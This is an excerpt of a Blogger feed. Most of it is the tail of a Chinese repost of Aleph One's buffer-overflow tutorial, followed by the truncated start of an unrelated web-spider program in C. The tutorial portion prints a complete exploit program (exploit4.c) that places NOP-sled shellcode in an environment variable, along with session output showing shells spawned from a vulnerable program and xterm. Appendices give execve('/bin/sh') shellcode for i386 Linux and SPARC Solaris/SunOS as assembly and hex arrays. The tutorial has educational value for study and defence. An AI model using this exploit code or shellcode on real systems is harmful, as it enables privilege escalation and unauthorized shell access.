这种方法同时也提高了破解工作的成功率, 因为保存shellcode的环境变&lt;br /&gt;量想要多大就有多大.&lt;/p&gt;&lt;p class="mobile-post"&gt;    当程序开始时, 环境变量存储在堆栈的顶部, 任何使用setenv()的修改动作会在其他&lt;br /&gt;地方重新分配空间. 开始时的堆栈如下所示:&lt;/p&gt;&lt;p class="mobile-post"&gt;      &amp;lt;strings&amp;gt;&amp;lt;argv pointers&amp;gt;NULL&amp;lt;envp pointers&amp;gt;NULL&amp;lt;argc&amp;gt;&amp;lt;argv&amp;gt;&amp;lt;envp&amp;gt;&lt;/p&gt;&lt;p class="mobile-post"&gt;    我们新的程序会使用一个额外的变量, 变量的大小能够容纳shellcode和NOP指令,&lt;br /&gt;新的破解程序如下所示:&lt;/p&gt;&lt;p class="mobile-post"&gt;exploit4.c&lt;br /&gt;------------------------------------------------------------------------------&lt;br /&gt;#include &amp;lt;stdlib.h&amp;gt;&lt;/p&gt;&lt;p class="mobile-post"&gt;#define DEFAULT_OFFSET                    0&lt;br /&gt;#define DEFAULT_BUFFER_SIZE             512&lt;br /&gt;#define DEFAULT_EGG_SIZE               2048&lt;br /&gt;#define NOP                            0x90&lt;/p&gt;&lt;p class="mobile-post"&gt;char shellcode[] =&lt;br /&gt;  "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"&lt;br /&gt;  "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"&lt;br /&gt;  "\x80\xe8\xdc\xff\xff\xff/bin/sh";&lt;/p&gt;&lt;p class="mobile-post"&gt;unsigned long get_esp(void) {&lt;br /&gt;   __asm__("movl %esp,%eax");&lt;br /&gt;}&lt;/p&gt;&lt;p class="mobile-post"&gt;void main(int argc, char *argv[]) {&lt;br /&gt;  char *buff, *ptr, *egg;&lt;br /&gt;  long *addr_ptr, addr;&lt;br /&gt;  int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;&lt;br /&gt;  int i, eggsize=DEFAULT_EGG_SIZE;&lt;/p&gt;&lt;p class="mobile-post"&gt;  if (argc &amp;gt; 1) bsize   = atoi(argv[1]);&lt;br /&gt;  if (argc &amp;gt; 2) offset  = atoi(argv[2]);&lt;br /&gt;  if (argc &amp;gt; 3) eggsize = atoi(argv[3]);&lt;/p&gt;&lt;p class="mobile-post"&gt;  if (!(buff = malloc(bsize))) {&lt;br /&gt;    printf("Can't allocate memory.\n");&lt;br /&gt;    exit(0);&lt;br /&gt;  }&lt;br /&gt;  if (!(egg = malloc(eggsize))) {&lt;br /&gt;    printf("Can't allocate memory.\n");&lt;br /&gt;    exit(0);&lt;br /&gt;  }&lt;/p&gt;&lt;p class="mobile-post"&gt;  addr = get_esp() - offset;&lt;br /&gt;  printf("Using address: 0x%x\n", addr);&lt;/p&gt;&lt;p class="mobile-post"&gt;  ptr = buff;&lt;br /&gt;  addr_ptr = (long *) ptr;&lt;br /&gt;  for (i = 0; i &amp;lt; bsize; i+=4)&lt;br /&gt;    *(addr_ptr++) = addr;&lt;/p&gt;&lt;p class="mobile-post"&gt;  ptr = egg;&lt;br /&gt;  for (i = 0; i &amp;lt; eggsize - strlen(shellcode) - 1; i++)&lt;br /&gt;    *(ptr++) = NOP;&lt;/p&gt;&lt;p class="mobile-post"&gt;  for (i = 0; i &amp;lt; strlen(shellcode); i++)&lt;br /&gt;    *(ptr++) = shellcode[i];&lt;/p&gt;&lt;p class="mobile-post"&gt;  buff[bsize - 1] = '\0';&lt;br /&gt;  egg[eggsize - 1] = '\0';&lt;/p&gt;&lt;p class="mobile-post"&gt;  memcpy(egg,"EGG=",4);&lt;br /&gt;  putenv(egg);&lt;br /&gt;  memcpy(buff,"RET=",4);&lt;br /&gt;  putenv(buff);&lt;br /&gt;  system("/bin/bash");&lt;br /&gt;}&lt;br /&gt;------------------------------------------------------------------------------&lt;/p&gt;&lt;p class="mobile-post"&gt;    用这个新的破解程序来试试我们的漏洞测试程序:&lt;br /&gt;    &lt;br /&gt;------------------------------------------------------------------------------&lt;br /&gt;[aleph1]$ ./exploit4 768&lt;br /&gt;Using address: 0xbffffdb0&lt;br /&gt;[aleph1]$ ./vulnerable $RET&lt;br /&gt;$&lt;br /&gt;------------------------------------------------------------------------------&lt;/p&gt;&lt;p class="mobile-post"&gt;    成功了, 再试试xterm:&lt;br /&gt;    &lt;br /&gt;------------------------------------------------------------------------------&lt;br /&gt;[aleph1]$ export DISPLAY=:0.0&lt;br /&gt;[aleph1]$ ./exploit4 2148&lt;br /&gt;Using address: 0xbffffdb0&lt;br /&gt;[aleph1]$ /usr/X11R6/bin/xterm -fg $RET&lt;br /&gt;Warning: Color name&lt;br /&gt;"挨挨挨挨挨挨挨挨挨挨挨挨挨挨挨挨挨挨挨挨挨挨挨挨挨挨挨挨挨挨挨挨挨挨挨挨挨挨挨挨&lt;br /&gt;挨挨挨挨挨挨挨挨挨挨挨挨挨挨挨挨挨挨挨挨挨挨挨挨&lt;/p&gt;&lt;p class="mobile-post"&gt;(此处截短多行输出)&lt;/p&gt;&lt;p class="mobile-post"&gt;挨挨挨&lt;br /&gt;Warning: some arguments in previous message were lost&lt;br /&gt;$&lt;br /&gt;------------------------------------------------------------------------------&lt;/p&gt;&lt;p class="mobile-post"&gt;    一次成功! 它显著提高了我们的成功率. 依赖于破解程序和被破解程序比较环境数据&lt;br /&gt;的多少, 我们推测的地址可能高也可能低于真值. 正和负的偏移量都可以试一试.&lt;/p&gt;&lt;p class="mobile-post"&gt;                                &lt;br /&gt;                               寻找缓冲区溢出漏洞&lt;br /&gt;                              ~~~~~~~~~~~~~~~~~~~~~&lt;br /&gt;                              &lt;br /&gt;    如前所述, 缓冲区溢出是向一个缓冲区填充超过其处理能力的信息造成的结果. 由于C&lt;br /&gt;语言没有任何内置的边界检查, 写入一个字符数组时, 如果超越了数组的结尾就会造成溢&lt;br /&gt;出. 标准C语言库提供了一些没有边界检查的字符串复制或添加函数. 包括strcat(), &lt;br /&gt;strcpy(), sprintf(), and vsprintf(). 这些函数对一个null结尾的字符串进行操作, 并&lt;br /&gt;不检查溢出情况. gets()函数从标准输入中读取一行到缓冲区中, 直到换行或EOF. 它也不&lt;br /&gt;检查缓冲区溢出. scanf()函数族在匹配一系列非空格字符(%s), 或从指定集合(%[])中匹&lt;br /&gt;配非空系列字符时, 使用字符指针指向数组, 并且没有定义最大字段宽度这个可选项, 就&lt;br /&gt;可能出现问题. 如果这些函数的目标地址是一个固定大小的缓冲区, 函数的另外参数是由&lt;br /&gt;用户以某种形式输入, 则很有可能利用缓冲区溢出来破解它.&lt;/p&gt;&lt;p class="mobile-post"&gt;    另一种常见的编程结构是使用while循环从标准输入或某个文件中一次读入一个字符到&lt;br /&gt;缓冲区中, 直到行尾或文件结尾, 或者碰到别的什么终止符. 这种结构通常使用getc(), &lt;br /&gt;fgetc(), 或getchar()函数中的某一个. 如果在while循环中没有明确的溢出检查, 这种程&lt;br /&gt;序就很容易被破解.&lt;/p&gt;&lt;p class="mobile-post"&gt;    由此可见, grep(1)是一个很好的工具命令(帮助你找到程序中可能有的漏洞). 自由操&lt;br /&gt;作系统及其工具的源码是可读的. 当你意识到其实很多商业操作系统工具都和自由软件有&lt;br /&gt;着相同的源码时, 剩下的事情就简单了!  :-)&lt;br /&gt;                  &lt;br /&gt;                  &lt;br /&gt;                  附录 A - 不同操作系统/体系结构的shellcode     &lt;br /&gt;                 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ &lt;/p&gt;&lt;p class="mobile-post"&gt;i386/Linux&lt;br /&gt;------------------------------------------------------------------------------&lt;br /&gt;        jmp    0x1f&lt;br /&gt;        popl   %esi&lt;br /&gt;        movl   %esi,0x8(%esi)&lt;br /&gt;        xorl   %eax,%eax&lt;br /&gt;        movb   %eax,0x7(%esi)&lt;br /&gt;        movl   %eax,0xc(%esi)&lt;br /&gt;        movb   $0xb,%al&lt;br /&gt;        movl   %esi,%ebx&lt;br /&gt;        leal   0x8(%esi),%ecx&lt;br /&gt;        leal   0xc(%esi),%edx&lt;br /&gt;        int    $0x80&lt;br /&gt;        xorl   %ebx,%ebx&lt;br /&gt;        movl   %ebx,%eax&lt;br /&gt;        inc    %eax&lt;br /&gt;        int    $0x80&lt;br /&gt;        call   -0x24&lt;br /&gt;        .string \"/bin/sh\"&lt;br /&gt;------------------------------------------------------------------------------&lt;/p&gt;&lt;p class="mobile-post"&gt;SPARC/Solaris&lt;br /&gt;------------------------------------------------------------------------------&lt;br /&gt;        sethi   0xbd89a, %l6&lt;br /&gt;        or      %l6, 0x16e, %l6&lt;br /&gt;        sethi   0xbdcda, %l7&lt;br /&gt;        and     %sp, %sp, %o0&lt;br /&gt;        add     %sp, 8, %o1&lt;br /&gt;        xor     %o2, %o2, %o2&lt;br /&gt;        add     %sp, 16, %sp&lt;br /&gt;        std     %l6, [%sp - 16]&lt;br /&gt;        st      %sp, [%sp - 8]&lt;br /&gt;        st      %g0, [%sp - 4]&lt;br /&gt;        mov     0x3b, %g1&lt;br /&gt;        ta      8&lt;br /&gt;        xor     %o7, %o7, %o0&lt;br /&gt;        mov     1, %g1&lt;br /&gt;        ta      8&lt;br /&gt;------------------------------------------------------------------------------&lt;/p&gt;&lt;p class="mobile-post"&gt;SPARC/SunOS&lt;br /&gt;------------------------------------------------------------------------------&lt;br /&gt;        sethi   0xbd89a, %l6&lt;br /&gt;        or      %l6, 0x16e, %l6&lt;br /&gt;        sethi   0xbdcda, %l7&lt;br /&gt;        and     %sp, %sp, %o0&lt;br /&gt;        add     %sp, 8, %o1&lt;br /&gt;        xor     %o2, %o2, %o2&lt;br /&gt;        add     %sp, 16, %sp&lt;br /&gt;        std     %l6, [%sp - 16]&lt;br /&gt;        st      %sp, [%sp - 8]&lt;br /&gt;        st      %g0, [%sp - 4]&lt;br /&gt;        mov     0x3b, %g1&lt;br /&gt;        mov     -0x1, %l5&lt;br /&gt;        ta      %l5 + 1&lt;br /&gt;        xor     %o7, %o7, %o0&lt;br /&gt;        mov     1, %g1&lt;br /&gt;        ta      %l5 + 1&lt;br /&gt;------------------------------------------------------------------------------&lt;br /&gt;   &lt;br /&gt;   &lt;br /&gt;                      附录 B - 通用缓冲区溢出程序     &lt;/p&gt;&lt;p class="mobile-post"&gt;                     ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~         &lt;/p&gt;&lt;p class="mobile-post"&gt;shellcode.h&lt;br /&gt;------------------------------------------------------------------------------&lt;br /&gt;#if defined(__i386__) &amp;amp;&amp;amp; defined(__linux__)&lt;/p&gt;&lt;p class="mobile-post"&gt;#define NOP_SIZE        1&lt;br /&gt;char nop[] = "\x90";&lt;br /&gt;char shellcode[] =&lt;br /&gt;  "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"&lt;br /&gt;  "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"&lt;br /&gt;  "\x80\xe8\xdc\xff\xff\xff/bin/sh";&lt;/p&gt;&lt;p class="mobile-post"&gt;unsigned long get_sp(void) {&lt;br /&gt;   __asm__("movl %esp,%eax");&lt;br /&gt;}&lt;/p&gt;&lt;p class="mobile-post"&gt;#elif defined(__sparc__) &amp;amp;&amp;amp; defined(__sun__) &amp;amp;&amp;amp; defined(__svr4__)&lt;/p&gt;&lt;p class="mobile-post"&gt;#define NOP_SIZE        4&lt;br /&gt;char nop[]="\xac\x15\xa1\x6e";&lt;br /&gt;char shellcode[] =&lt;br /&gt;  "\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e\x2f\x0b\xdc\xda\x90\x0b\x80\x0e"&lt;br /&gt;  "\x92\x03\xa0\x08\x94\x1a\x80\x0a\x9c\x03\xa0\x10\xec\x3b\xbf\xf0"&lt;br /&gt;  "\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc\x82\x10\x20\x3b\x91\xd0\x20\x08"&lt;br /&gt;  "\x90\x1b\xc0\x0f\x82\x10\x20\x01\x91\xd0\x20\x08";&lt;/p&gt;&lt;p class="mobile-post"&gt;unsigned long get_sp(void) {&lt;br /&gt;  __asm__("or %sp, %sp, %i0");&lt;br /&gt;}&lt;/p&gt;&lt;p class="mobile-post"&gt;#elif defined(__sparc__) &amp;amp;&amp;amp; defined(__sun__)&lt;/p&gt;&lt;p class="mobile-post"&gt;#define NOP_SIZE        4&lt;br /&gt;char nop[]="\xac\x15\xa1\x6e";&lt;br /&gt;char shellcode[] =&lt;br /&gt;  "\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e\x2f\x0b\xdc\xda\x90\x0b\x80\x0e"&lt;br /&gt;  "\x92\x03\xa0\x08\x94\x1a\x80\x0a\x9c\x03\xa0\x10\xec\x3b\xbf\xf0"&lt;br /&gt;  "\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc\x82\x10\x20\x3b\xaa\x10\x3f\xff"&lt;br /&gt;  "\x91\xd5\x60\x01\x90\x1b\xc0\x0f\x82\x10\x20\x01\x91\xd5\x60\x01";&lt;/p&gt;&lt;p class="mobile-post"&gt;unsigned long get_sp(void) {&lt;br /&gt;  __asm__("or %sp, %sp, %i0");&lt;br /&gt;}&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/17718390-112963444417127599?l=zouyong.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://zouyong.blogspot.com/feeds/112963444417127599/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=17718390&amp;postID=112963444417127599' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/17718390/posts/default/112963444417127599'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/17718390/posts/default/112963444417127599'/><link rel='alternate' type='text/html' href='http://zouyong.blogspot.com/2005/10/zz.html' title='转发: 缓冲溢出原理zz(转寄)'/><author><name>Young</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-17718390.post-112954775957852000</id><published>2005-10-17T19:15:00.000+08:00</published><updated>2005-10-17T19:15:59.586+08:00</updated><title type='text'>一个网页多线程下载程序</title><content type='html'>&lt;div class=Section1 style='layout-grid:15.6pt'&gt;  &lt;p class=MsoNormal&gt;&lt;font size=2 face=宋体&gt;&lt;span style='font-size:10.5pt; font-family:宋体'&gt;一个网页多线程下载程序&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;  &lt;p class=MsoNormal&gt;&lt;font size=2 face="Times New Roman"&gt;&lt;span lang=EN-US&gt;&lt;o:p&gt;&amp;nbsp;&lt;/o:p&gt;&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;  &lt;p class=MsoNormal&gt;&lt;font size=2 face=宋体&gt;&lt;span style='font-size:10.5pt; font-family:宋体'&gt;平台：&lt;/span&gt;&lt;/font&gt;&lt;span lang=EN-US&gt;linux&lt;/span&gt;&lt;font face=宋体&gt;&lt;span style='font-family:宋体'&gt;，&lt;/span&gt;&lt;/font&gt;&lt;span lang=EN-US&gt;unix&lt;/span&gt;&lt;/p&gt;  &lt;p class=MsoNormal&gt;&lt;font size=2 face=宋体&gt;&lt;span style='font-size:10.5pt; font-family:宋体'&gt;语言：&lt;/span&gt;&lt;/font&gt;&lt;span lang=EN-US&gt;c&lt;/span&gt;&lt;/p&gt;  &lt;p class=MsoNormal&gt;&lt;font size=2 face="Times New Roman"&gt;&lt;span lang=EN-US&gt;&lt;o:p&gt;&amp;nbsp;&lt;/o:p&gt;&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;  &lt;p class=MsoNormal&gt;&lt;font size=2 face=宋体&gt;&lt;span style='font-size:10.5pt; font-family:宋体'&gt;程序如下：&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;  &lt;p class=MsoNormal&gt;&lt;font size=2 face="Times New Roman"&gt;&lt;span lang=EN-US style='font-size:10.5pt'&gt;/* spider.h&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;  &lt;p class=MsoNormal&gt;&lt;font size=2 face="Times New Roman"&gt;&lt;span lang=EN-US style='font-size:10.5pt'&gt;&amp;nbsp;*/&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;  &lt;p class=MsoNormal&gt;&lt;font size=2 face="Times New Roman"&gt;&lt;span lang=EN-US style='font-size:10.5pt'&gt;#include &amp;lt;pthread.h&amp;gt;&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;  &lt;p class=MsoNormal&gt;&lt;font size=2 face="Times New Roman"&gt;&lt;span lang=EN-US style='font-size:10.5pt'&gt;#include &amp;lt;stdio.h&amp;gt;&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;  &lt;p class=MsoNormal&gt;&lt;font size=2 face="Times New Roman"&gt;&lt;span lang=EN-US style='font-size:10.5pt'&gt;#include &amp;lt;time.h&amp;gt;&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;  &lt;p class=MsoNormal&gt;&lt;font size=2 face="Times New Roman"&gt;&lt;span lang=EN-US style='font-size:10.5pt'&gt;#include &amp;lt;stdlib.h&amp;gt;&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;  &lt;p class=MsoNormal&gt;&lt;font size=2 face="Times New Roman"&gt;&lt;span lang=EN-US style='font-size:10.5pt'&gt;#include &amp;lt;string.h&amp;gt;&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;  &lt;p class=MsoNormal&gt;&lt;font size=2 face="Times New Roman"&gt;&lt;span lang=EN-US style='font-size:10.5pt'&gt;#include &amp;lt;sys/stat.h&amp;gt;&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;  &lt;p class=MsoNormal&gt;&lt;font size=2 face="Times New Roman"&gt;&lt;span lang=EN-US style='font-size:10.5pt'&gt;#include &amp;lt;sys/types.h&amp;gt;&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;  &lt;p class=MsoNormal&gt;&lt;font size=2 face="Times New Roman"&gt;&lt;span lang=EN-US style='font-size:10.5pt'&gt;#include &amp;lt;fcntl.h&amp;gt;&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;  &lt;p class=MsoNormal&gt;&lt;font size=2 face="Times New Roman"&gt;&lt;span lang=EN-US style='font-size:10.5pt'&gt;#include &amp;lt;limits.h&amp;gt;&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;  &lt;p class=MsoNormal&gt;&lt;font size=2 face="Times New Roman"&gt;&lt;span lang=EN-US&gt;&lt;o:p&gt;&amp;nbsp;&lt;/o:p&gt;&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;  &lt;p class=MsoNormal&gt;&lt;font size=2 face="Times New Roman"&gt;&lt;span lang=EN-US style='font-size:10.5pt'&gt;// #include &amp;lt;pthread.h&amp;gt;&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;  &lt;p class=MsoNormal&gt;&lt;font size=2 face="Times New Roman"&gt;&lt;span lang=EN-US style='font-size:10.5pt'&gt;#include &amp;lt;unistd.h&amp;gt;&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;  &lt;p class=MsoNormal&gt;&lt;font size=2 face="Times New Roman"&gt;&lt;span lang=EN-US&gt;&lt;o:p&gt;&amp;nbsp;&lt;/o:p&gt;&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;  &lt;p class=MsoNormal&gt;&lt;font size=2 face="Times New Roman"&gt;&lt;span lang=EN-US style='font-size:10.5pt'&gt;#include&amp;lt;sys/wait.h&amp;gt;&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;  &lt;p class=MsoNormal&gt;&lt;font size=2 face="Times New Roman"&gt;&lt;span lang=EN-US style='font-size:10.5pt'&gt;#include&amp;lt;signal.h&amp;gt;&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;  &lt;p class=MsoNormal&gt;&lt;font size=2 face="Times New Roman"&gt;&lt;span lang=EN-US style='font-size:10.5pt'&gt;#include&amp;lt;netdb.h&amp;gt;&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;  &lt;p class=MsoNormal&gt;&lt;font size=2 face="Times New Roman"&gt;&lt;span lang=EN-US style='font-size:10.5pt'&gt;#include&amp;lt;sys/socket.h&amp;gt;&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;  &lt;p class=MsoNormal&gt;&lt;font size=2 face="Times New Roman"&gt;&lt;span lang=EN-US style='font-size:10.5pt'&gt;#include&amp;lt;netinet/in.h&amp;gt;&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;  &lt;p class=MsoNormal&gt;&lt;font size=2 face="Times New Roman"&gt;&lt;span lang=EN-US style='font-size:10.5pt'&gt;#include&amp;lt;arpa/inet.h&amp;gt;&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;  &lt;p class=MsoNormal&gt;&lt;font size=2 face="Times New Roman"&gt;&lt;span lang=EN-US&gt;&lt;o:p&gt;&amp;nbsp;&lt;/o:p&gt;&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;  &lt;p class=MsoNormal&gt;&lt;font size=2 face="Times New Roman"&gt;&lt;span lang=EN-US style='font-size:10.5pt'&gt;#define PORT 80&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; /* default port number */&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;  &lt;p class=MsoNormal&gt;&lt;font size=2 face="Times New Roman"&gt;&lt;span lang=EN-US style='font-size:10.5pt'&gt;#define MAXDATASIZE 4096&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;/* max buffer size */&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/font&gt;&lt;/p&gt;  &lt;p class=MsoNormal&gt;&lt;font size=2 face="Times New Roman"&gt;&lt;span lang=EN-US style='font-size:10.5pt'&gt;#define GET_CMD&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;quot;GET %s HTTP/1.0\r\nHost:%s\r\nAccept:*/*\r\nUser_Agent:myAgentr\r\nConnection:Close\r\n\r\n&amp;quot; /* the GET command */&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;  &lt;p class=MsoNormal&gt;&lt;font size=2 face="Times New Roman"&gt;&lt;span lang=EN-US&gt;&lt;o:p&gt;&amp;nbsp;&lt;/o:p&gt;&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;  &lt;p class=MsoNormal&gt;&lt;font size=2 face="Times New Roman"&gt;&lt;span lang=EN-US style='font-size:10.5pt'&gt;#define URL_HEADER &amp;quot;http://&amp;quot;&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;  &lt;p class=MsoNormal&gt;&lt;font size=2 face="Times New Roman"&gt;&lt;span lang=EN-US style='font-size:10.5pt'&gt;#define MAX_PATH&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 1024&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;  &lt;p class=MsoNormal&gt;&lt;font size=2 face="Times New Roman"&gt;&lt;span lang=EN-US style='font-size:10.5pt'&gt;#define MAXCONN 10&amp;nbsp; /* MAX Threads allowed */&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;  &lt;p class=MsoNormal&gt;&lt;font size=2 face="Times New Roman"&gt;&lt;span lang=EN-US style='font-size:10.5pt'&gt;#define MAXURLS 1024&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/font&gt;&lt;/p&gt;  &lt;p class=MsoNormal&gt;&lt;font size=2 face="Times New Roman"&gt;&lt;span lang=EN-US style='font-size:10.5pt'&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/font&gt;&lt;/p&gt;  &lt;p class=MsoNormal&gt;&lt;font size=2 face="Times New Roman"&gt;&lt;span lang=EN-US style='font-size:10.5pt'&gt;pthread_mutex_t th_lock = PTHREAD_MUTEX_INITIALIZER;&amp;nbsp;&amp;nbsp;&amp;nbsp; /* thread lock */&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;  &lt;p class=MsoNormal&gt;&lt;font size=2 face="Times New Roman"&gt;&lt;span lang=EN-US style='font-size:10.5pt'&gt;int conns[MAXCONN] = {0};&amp;nbsp;&amp;nbsp;&amp;nbsp; /* threads counter */&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;  &lt;p class=MsoNormal&gt;&lt;font size=2 face="Times New Roman"&gt;&lt;span lang=EN-US&gt;&lt;o:p&gt;&amp;nbsp;&lt;/o:p&gt;&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;  &lt;p class=MsoNormal&gt;&lt;font s
